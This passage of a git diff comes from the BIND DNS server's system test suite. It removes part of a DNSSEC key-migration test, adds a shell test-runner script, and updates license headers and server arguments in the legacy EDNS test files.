-set_keystate     "KEY2" "STATE_ZRRSIG" "omnipresent"
-# The ZSK needs to be replaced.
-set_keystate     "KEY2" "GOAL" "hidden"
-set_keystate     "KEY3" "GOAL" "omnipresent"
-set_keyrole      "KEY3" "zsk"
-set_keylifetime  "KEY3" "8035200"
-set_keyalgorithm "KEY3" "8" "RSASHA256" "1024"
-set_keysigning   "KEY3" "no"
-set_zonesigning  "KEY3" "no" # not yet
-set_keystate     "KEY3" "STATE_DNSKEY" "rumoured"
-set_keystate     "KEY3" "STATE_ZRRSIG" "hidden"
-
-# Various signing policy checks (external).
-TSIG="hmac-sha1:external:$VIEW1"
-check_keys
-wait_for_done_signing
-check_dnssecstatus "$SERVER" "$POLICY" "$ZONE" "ext"
-set_keytimes_view_migration
-
-# Set expected key times:
-published=$(key_get KEY1 PUBLISHED)
-set_keytime "KEY1" "ACTIVE"      "${published}"
-set_keytime "KEY1" "SYNCPUBLISH" "${published}"
-# Lifetime: 1 year (8035200 seconds)
-active=$(key_get KEY1 ACTIVE)
-set_addkeytime "KEY1" "RETIRED" "${active}"  "31536000"
-# Retire interval:
-# DS TTL:                  1d
-# Parent zone propagation: 3h
-# Retire safety:           1h
-# Total:                   100800 seconds
-retired=$(key_get KEY1 RETIRED)
-set_addkeytime "KEY1" "REMOVED" "${retired}" "100800"
-
-published=$(key_get KEY2 PUBLISHED)
-set_keytime "KEY2" "ACTIVE" "${published}"
-# Lifetime: 3 months (8035200 seconds)
-active=$(key_get KEY2 ACTIVE)
-set_addkeytime "KEY2" "RETIRED" "${active}" "8035200"
-# Retire interval:
-# Sign delay:             9d (14-5)
-# Max zone TTL:           1d
-# Retire safety:          1h
-# Zone propagation delay: 300s
-# Total:                  867900 seconds
-retired=$(key_get KEY2 RETIRED)
-set_addkeytime "KEY2" "REMOVED" "${retired}" "867900"
-
-created=$(key_get KEY3 CREATED)
-set_keytime    "KEY3" "PUBLISHED" "${created}"
-# Publication interval:
-# DNSKEY TTL:             300s
-# Publish safety:         1h
-# Zone propagation delay: 300s
-# Total:                  4200 seconds
-set_addkeytime "KEY3" "ACTIVE" "${created}" "4200"
-# Lifetime: 3 months (8035200 seconds)
-active=$(key_get KEY3 ACTIVE)
-set_addkeytime "KEY3" "RETIRED" "${active}" "8035200"
-# Retire interval:
-# Sign delay:             9d (14-5)
-# Max zone TTL:           1d
-# Retire safety:          1h
-# Zone propagation delay: 300s
-# Total:                  867900 seconds
-retired=$(key_get KEY3 RETIRED)
-set_addkeytime "KEY3" "REMOVED" "${retired}" "867900"
-
-# Continue signing policy checks.
-check_keytimes
-check_apex
-dnssec_verify
-
-# Various signing policy checks (internal).
-TSIG="hmac-sha1:internal:$VIEW2"
-check_keys
-wait_for_done_signing
-check_dnssecstatus "$SERVER" "$POLICY" "$ZONE" "int"
-set_keytimes_view_migration
-check_keytimes
-check_apex
-dnssec_verify
-
-# Check key tags, should be the same.
-n=$((n+1))
-echo_i "check that of zone ${ZONE} migration to dnssec-policy uses the same keys ($n)"
-ret=0
-[ $_migrate_ext8_ksk = $_migrate_int8_ksk ] || log_error "mismatch ksk tag"
-[ $_migrate_ext8_zsk = $_migrate_int8_zsk ] || log_error "mismatch zsk tag"
-[ $_migrate_ext8_ksk = $(key_get KEY1 ID) ] || log_error "mismatch ksk tag"
-[ $_migrate_ext8_zsk = $(key_get KEY2 ID) ] || log_error "mismatch zsk tag"
-test "$ret" -eq 0 || echo_i "failed"
-status=$((status+ret))
-
-echo_i "exit status: $status"
-[ $status -eq 0 ] || exit 1
diff --git a/bin/tests/system/legacy.run.sh.in b/bin/tests/system/legacy.run.sh.in
new file mode 100644
index 0000000000..39891193ed
--- /dev/null
+++ b/bin/tests/system/legacy.run.sh.in
@@ -0,0 +1,310 @@
+#!/bin/sh
+#
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0. If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+#
+# Run a system test.
+#
+
+top_builddir=@top_builddir@
+builddir=@abs_builddir@
+srcdir=@abs_srcdir@
+
+# shellcheck source=conf.sh
+. ${builddir}/conf.sh
+
+if [ "$CI_SERVER" != "yes" ] && [ "$(id -u)" -eq "0" ] && [ "@DEVELOPER_MODE@" != "yes" ]; then
+    echofail "Refusing to run test as root. Build with --enable-developer to override." >&2
+    exit 1
+fi
+
+export builddir
+export srcdir
+
+date_with_args() (
+    date "+%Y-%m-%dT%T%z"
+)
+
+stopservers=true
+# baseport == 0 means random
+baseport=0
+
+if [ "${SYSTEMTEST_NO_CLEAN:-0}" -eq 1 ]; then
+    clean=false
+else
+    clean=true
+fi
+
+do_run=false
+restart=false
+log_flags="-r"
+while getopts "sknp:r-:t" OPT; do
+    log_flags="$log_flags -$OPT$OPTARG"
+    if [ "$OPT" = "-" ] && [ -n "$OPTARG" ]; then
+        OPT="${OPTARG%%=*}"
+        OPTARG="${OPTARG#$OPT}"
+        OPTARG="${OPTARG#=}"
+    fi
+
+    # shellcheck disable=SC2214
+    case "$OPT" in
+        k | keep) stopservers=false ;;
+        n | noclean) clean=false ;;
+        p | port) baseport=$OPTARG ;;
+        r | run) do_run=true ;;
+        s | skip) exit 77 ;;
+        t | restart) restart=true ;;
+        -) break ;;
+        *) echo "invalid option" >&2; exit 1 ;;
+    esac
+done
+
+shift $((OPTIND-1))
+
+if ! $do_run; then
+    if [ "$baseport" -eq 0 ]; then
+        log_flags="$log_flags -p 5300"
+    fi
+    env - \
+        SYSTEMTEST_FORCE_COLOR="$SYSTEMTEST_FORCE_COLOR" \
+        SYSTEMTEST_NO_CLEAN="$SYSTEMTEST_NO_CLEAN" \
+        SLOT="$SLOT" \
+        ${OPENSSL_CONF:+OPENSSL_CONF="$OPENSSL_CONF"} \
+        SOFTHSM2_CONF="$SOFTHSM2_CONF" \
+        PATH="$PATH" \
+        ${LD_LIBRARY_PATH:+"LD_LIBRARY_PATH=${LD_LIBRARY_PATH}"} \
+        TESTS="$*" \
+        TEST_SUITE_LOG=run.log \
+        LOG_DRIVER_FLAGS="--verbose yes --color-tests yes" \
+        LOG_FLAGS="$log_flags" \
+        TEST_LARGE_MAP="${TEST_LARGE_MAP}" \
+        CI_ENABLE_ALL_TESTS="${CI_ENABLE_ALL_TESTS}" \
+	${TSAN_OPTIONS:+"TSAN_OPTIONS=${TSAN_OPTIONS}"} \
+	${VIRTUAL_ENV:+"VIRTUAL_ENV=${VIRTUAL_ENV}"} \
+	${PERL5LIB:+"PERL5LIB=${PERL5LIB}"} \
+        make -e check
+    exit $?
+fi
+
+if [ $# -eq 0 ]; then
+    echofail "Usage: $0 [-k] [-n] [-p <PORT>] test-directory [test-options]" >&2;
+    exit 1
+fi
+
+systest=$(basename "${1%%/}")
+shift
+
+if [ ! -d "${srcdir}/$systest" ]; then
+    echofail "$0: $systest: no such test" >&2
+    exit 1
+fi
+
+if [ "${srcdir}" != "${builddir}" ]; then
+    if [ ! -d common ] || [ ! -r common/.prepared ]; then
+        cp -a "${srcdir}/common" "${builddir}"
+    fi
+    # Some tests require additional files to work for out-of-tree test runs.
+    for file in ckdnsrps.sh conftest.py digcomp.pl ditch.pl fromhex.pl get_core_dumps.sh kasp.sh packet.pl pytest_custom_markers.py start.pl stop.pl testcrypto.sh; do
+        if [ ! -r "${file}" ]; then
+            cp -a "${srcdir}/${file}" "${builddir}"
+        fi
+    done
+    if [ ! -d "$systest" ] || [ ! -r "$systest/.prepared" ]; then
+        mkdir -p "${builddir}/$systest"
+        cp -a "${srcdir}/$systest" "${builddir}/"
+        touch "$systest/.prepared"
+    fi
+fi
+
+if [ ! -d "${systest}" ]; then
+    echofail "$0: $systest: no such test" >&2
+    exit 1
+fi
+
+
+# Determine which ports to use for this system test.
+eval "$(cd "${srcdir}" && ./get_ports.sh -p "$baseport" -t "$systest")"
+
+# Start all servers used by the system test.  Ensure all log files written
+# during a system test (tests.sh + potentially multiple *.py scripts) are
+# retained for each run by calling start.pl with the --restart command-line
+# option for all invocations except the first one.
+start_servers() {
+    echoinfo "I:$systest:starting servers"
+    if $restart || [ "$run" -gt 0 ]; then
+        restart_opt="--restart"
+    fi
+    if ! $PERL start.pl ${restart_opt} --port "$PORT" "$systest"; then
+        echoinfo "I:$systest:starting servers failed"
+        return 1
+    fi
+}
+
+stop_servers() {
+    if $stopservers; then
+        echoinfo "I:$systest:stopping servers"
+        if ! $PERL stop.pl "$systest"; then
+            echoinfo "I:$systest:stopping servers failed"
+            return 1
+        fi
+    fi
+}
+
+echostart "S:$systest:$(date_with_args)"
+echoinfo  "T:$systest:1:A"
+echoinfo  "A:$systest:System test $systest"
+echoinfo  "I:$systest:PORTS:${PORT},${TLSPORT},${HTTPPORT},${HTTPSPORT},${EXTRAPORT1},${EXTRAPORT2},${EXTRAPORT3},${EXTRAPORT4},${EXTRAPORT5},${EXTRAPORT6},${EXTRAPORT7},${EXTRAPORT8},${CONTROLPORT}"
+
+$PERL ${srcdir}/testsock.pl -p "$PORT"  || {
+    echowarn "I:$systest:Network interface aliases not set up.  Skipping test."
+    echowarn "R:$systest:FAIL"
+    echoend  "E:$systest:$(date_with_args)"
+    exit 1;
+}
+
+# Check for test-specific prerequisites.
+test ! -f "$systest/prereq.sh" || ( cd "${systest}" && $SHELL prereq.sh "$@" )
+result=$?
+
+if [ $result -eq 0 ]; then
+    : prereqs ok
+else
+    echowarn "I:$systest:Prerequisites missing, skipping test."
+    echowarn "R:$systest:SKIPPED";
+    echoend "E:$systest:$(date_with_args)"
+    exit 77
+fi
+
+# Clean up files left from any potential previous runs except when
+# started with the --restart option.
+if ! $restart; then
+    if test -f "$systest/clean.sh"; then
+        if ! ( cd "${systest}" && $SHELL clean.sh "$@" ); then
+            echowarn "I:$systest:clean.sh script failed"
+            echofail "R:$systest:FAIL"
+            echoend  "E:$systest:$(date_with_args)"
+            exit 1
+        fi
+    fi
+fi
+
+# Set up any dynamically generated test data
+if test -f "$systest/setup.sh"
+then
+    if ! ( cd "${systest}" && $SHELL setup.sh "$@" ); then
+        echowarn "I:$systest:setup.sh script failed"
+        echofail "R:$systest:FAIL"
+        echoend  "E:$systest:$(date_with_args)"
+        exit 1
+    fi
+fi
+
+status=0
+run=0
+# Run the tests
+if [ -r "$systest/tests.sh" ]; then
+    if start_servers; then
+        ( cd "$systest" && $SHELL tests.sh "$@" )
+        status=$?
+        run=$((run+1))
+        stop_servers || status=1
+    else
+        status=1
+    fi
+fi
+
+if [ $status -eq 0 ]; then
+    if [ -n "$PYTEST" ]; then
+        for test in $(cd "${systest}" && find . -name "tests*.py" ! -name "tests_sh_*.py"); do
+            rm -f "$systest/$test.status"
+            if start_servers; then
+                run=$((run+1))
+                test_status=0
+                (cd "$systest" && LEGACY_TEST_RUNNER=1 "$PYTEST" -rsxX -v "$test" "$@" || echo "$?" > "$test.status") | SYSTESTDIR="$systest" cat_d
+                if [ -f "$systest/$test.status" ]; then
+                    if [ "$(cat "$systest/$test.status")" = "5" ]; then
+                        echowarn "R:$systest:SKIPPED"
+                    else
+                        echo_i "FAILED"
+                        test_status=$(cat "$systest/$test.status")
+                    fi
+                fi
+                status=$((status+test_status))
+                stop_servers || status=1
+            else
+                status=1
+            fi
+            if [ $status -ne 0 ]; then
+                break
+            fi
+        done
+        rm -f "$systest/$test.status"
+    else
+        echoinfo "I:$systest:pytest not installed, skipping python tests"
+    fi
+fi
+
+if [ "$run" -eq "0" ]; then
+    echoinfo "I:$systest:No tests were found and run"
+    status=255
+fi
+
+if $stopservers
+then
+    :
+else
+    exit $status
+fi
+
+$SHELL get_core_dumps.sh "$systest" || status=1
+
+print_outstanding_files() {
+    if test -d ${srcdir}/../../../.git; then
+        git status -su --ignored "${systest}/" 2>/dev/null | \
+        sed -n -e 's|^?? \(.*\)|I:'"${systest}"':file \1 not removed|p' \
+            -e 's|^!! \(.*/named.run\)$|I:'"${systest}"':file \1 not removed|p' \
+            -e 's|^!! \(.*/named.memstats\)$|I:'"${systest}"':file \1 not removed|p'
+    fi
+}
+
+print_outstanding_files_oot() {
+    if test -d ${srcdir}/../../../.git; then
+        git -C "${srcdir}/${systest}" ls-files | sed "s|^|${systest}/|" > gitfiles.txt
+        find "${systest}/" -type f ! -name .prepared ! -name Makefile > testfiles.txt
+        grep -F -x -v -f gitfiles.txt testfiles.txt
+        rm -f gitfiles.txt testfiles.txt
+    fi
+}
+
+if [ $status -ne 0 ]; then
+    echofail "R:$systest:FAIL"
+else
+    echopass "R:$systest:PASS"
+    if $clean && ! $restart; then
+        ( cd "${systest}" && $SHELL clean.sh "$@" )
+        if [ "${srcdir}" = "${builddir}" ]; then
+            print_outstanding_files
+        else
+            print_outstanding_files_oot | xargs rm -f
+            find "${systest}/" \( -type d -empty \) -delete 2>/dev/null
+        fi
+    fi
+fi
+
+NAMED_RUN_LINES_THRESHOLD=200000
+find "${systest}" -type f -name "named.run" -exec wc -l {} \; | awk "\$1 > ${NAMED_RUN_LINES_THRESHOLD} { print \$2 }" | sort | while read -r LOG_FILE; do
+    echowarn "I:${systest}:${LOG_FILE} contains more than ${NAMED_RUN_LINES_THRESHOLD} lines, consider tweaking the test to limit disk I/O"
+done
+
+echoend "E:$systest:$(date_with_args)"
+
+exit $status
diff --git a/bin/tests/system/legacy/build.sh b/bin/tests/system/legacy/build.sh
index df56bec7a8..fcde4e1036 100644
--- a/bin/tests/system/legacy/build.sh
+++ b/bin/tests/system/legacy/build.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/legacy/clean.sh b/bin/tests/system/legacy/clean.sh
index a05a54c402..4c65a2da26 100644
--- a/bin/tests/system/legacy/clean.sh
+++ b/bin/tests/system/legacy/clean.sh
@@ -1,7 +1,11 @@
+#!/bin/sh
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/legacy/ns1/named1.conf.in b/bin/tests/system/legacy/ns1/named1.conf.in
index 67cac6684a..5c4b1c400b 100644
--- a/bin/tests/system/legacy/ns1/named1.conf.in
+++ b/bin/tests/system/legacy/ns1/named1.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -23,7 +25,7 @@ options {
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/legacy/ns1/named2.conf.in b/bin/tests/system/legacy/ns1/named2.conf.in
index f918dedec4..239e58f1b7 100644
--- a/bin/tests/system/legacy/ns1/named2.conf.in
+++ b/bin/tests/system/legacy/ns1/named2.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/legacy/ns1/root.db b/bin/tests/system/legacy/ns1/root.db
index e4889a8f2a..175847ae28 100644
--- a/bin/tests/system/legacy/ns1/root.db
+++ b/bin/tests/system/legacy/ns1/root.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/legacy/ns1/trusted.conf b/bin/tests/system/legacy/ns1/trusted.conf
index 5b327302c4..a54b6aae3f 100644
--- a/bin/tests/system/legacy/ns1/trusted.conf
+++ b/bin/tests/system/legacy/ns1/trusted.conf
@@ -1,3 +1,16 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
 trust-anchors {
 	"edns512-notcp." static-ds 8161 10 2 "19147C5BF59BED075AC26CE73DDA875438FB5AC61BCF31F081AD5BDA1AA7C236";
 };
diff --git a/bin/tests/system/legacy/ns10/ednsrefused.db b/bin/tests/system/legacy/ns10/ednsrefused.db
index caac70d26a..9aa3a4af5f 100644
--- a/bin/tests/system/legacy/ns10/ednsrefused.db
+++ b/bin/tests/system/legacy/ns10/ednsrefused.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/legacy/ns10/named.conf.in b/bin/tests/system/legacy/ns10/named.conf.in
index 486ac7fea9..628c51a6ef 100644
--- a/bin/tests/system/legacy/ns10/named.conf.in
+++ b/bin/tests/system/legacy/ns10/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/legacy/ns2/dropedns.db b/bin/tests/system/legacy/ns2/dropedns.db
index 3bf81cd197..06c023c443 100644
--- a/bin/tests/system/legacy/ns2/dropedns.db
+++ b/bin/tests/system/legacy/ns2/dropedns.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/legacy/ns2/named.conf.in b/bin/tests/system/legacy/ns2/named.conf.in
index 740f187752..e570ffe6ec 100644
--- a/bin/tests/system/legacy/ns2/named.conf.in
+++ b/bin/tests/system/legacy/ns2/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/legacy/ns3/dropedns-notcp.db b/bin/tests/system/legacy/ns3/dropedns-notcp.db
index 40f5e1116e..0ac44bc7ed 100644
--- a/bin/tests/system/legacy/ns3/dropedns-notcp.db
+++ b/bin/tests/system/legacy/ns3/dropedns-notcp.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/legacy/ns3/named.conf.in b/bin/tests/system/legacy/ns3/named.conf.in
index 0fef64e300..3d89554bfc 100644
--- a/bin/tests/system/legacy/ns3/named.conf.in
+++ b/bin/tests/system/legacy/ns3/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/legacy/ns4/named.args b/bin/tests/system/legacy/ns4/named.args
index 0fe6774329..4ccb648595 100644
--- a/bin/tests/system/legacy/ns4/named.args
+++ b/bin/tests/system/legacy/ns4/named.args
@@ -1 +1 @@
--m record,size,mctx -c named.conf -d 99 -D legacy-ns4 -X named.lock -g -U 4 -T maxcachesize=2097152 -T noedns
+-m record -c named.conf -d 99 -D legacy-ns4 -X named.lock -g -U 4 -T maxcachesize=2097152 -T noedns
diff --git a/bin/tests/system/legacy/ns4/named.conf.in b/bin/tests/system/legacy/ns4/named.conf.in
index 17f8d4c7ad..32bdb058d4 100644
--- a/bin/tests/system/legacy/ns4/named.conf.in
+++ b/bin/tests/system/legacy/ns4/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/legacy/ns4/plain.db b/bin/tests/system/legacy/ns4/plain.db
index fd5be9f23b..2c20a70c06 100644
--- a/bin/tests/system/legacy/ns4/plain.db
+++ b/bin/tests/system/legacy/ns4/plain.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/legacy/ns5/named.args b/bin/tests/system/legacy/ns5/named.args
index 364370a18b..0c5e17a940 100644
--- a/bin/tests/system/legacy/ns5/named.args
+++ b/bin/tests/system/legacy/ns5/named.args
@@ -1 +1 @@
--m record,size,mctx -c named.conf -d 99 -D legacy-ns5 -X named.lock -g -U 4 -T maxcachesize=2097152 -T noedns
+-m record -c named.conf -d 99 -D legacy-ns5 -X named.lock -g -U 4 -T maxcachesize=2097152 -T noedns
diff --git a/bin/tests/system/legacy/ns5/named.conf.in b/bin/tests/system/legacy/ns5/named.conf.in
index bff6f2d047..92e754fbe9 100644
--- a/bin/tests/system/legacy/ns5/named.conf.in
+++ b/bin/tests/system/legacy/ns5/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/legacy/ns5/plain-notcp.db b/bin/tests/system/legacy/ns5/plain-notcp.db
index 51c9e101a5..9c1a96bc7f 100644
--- a/bin/tests/system/legacy/ns5/plain-notcp.db
+++ b/bin/tests/system/legacy/ns5/plain-notcp.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/legacy/ns6/edns512.db.in b/bin/tests/system/legacy/ns6/edns512.db.in
index 68f59242f9..485ec8ee70 100644
--- a/bin/tests/system/legacy/ns6/edns512.db.in
+++ b/bin/tests/system/legacy/ns6/edns512.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/legacy/ns6/named.args b/bin/tests/system/legacy/ns6/named.args
index 64e5524324..3475121784 100644
--- a/bin/tests/system/legacy/ns6/named.args
+++ b/bin/tests/system/legacy/ns6/named.args
@@ -1 +1 @@
--m record,size,mctx -c named.conf -d 99 -D legacy-ns6 -X named.lock -g -U 4 -T maxcachesize=2097152 -T maxudp512
+-m record -c named.conf -d 99 -D legacy-ns6 -X named.lock -g -U 4 -T maxcachesize=2097152 -T maxudp512
diff --git a/bin/tests/system/legacy/ns6/named.conf.in b/bin/tests/system/legacy/ns6/named.conf.in
index 4849ded2a5..17f19d908d 100644
--- a/bin/tests/system/legacy/ns6/named.conf.in
+++ b/bin/tests/system/legacy/ns6/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/legacy/ns6/sign.sh b/bin/tests/system/legacy/ns6/sign.sh
index 12ace822ef..f76b3c23c1 100755
--- a/bin/tests/system/legacy/ns6/sign.sh
+++ b/bin/tests/system/legacy/ns6/sign.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
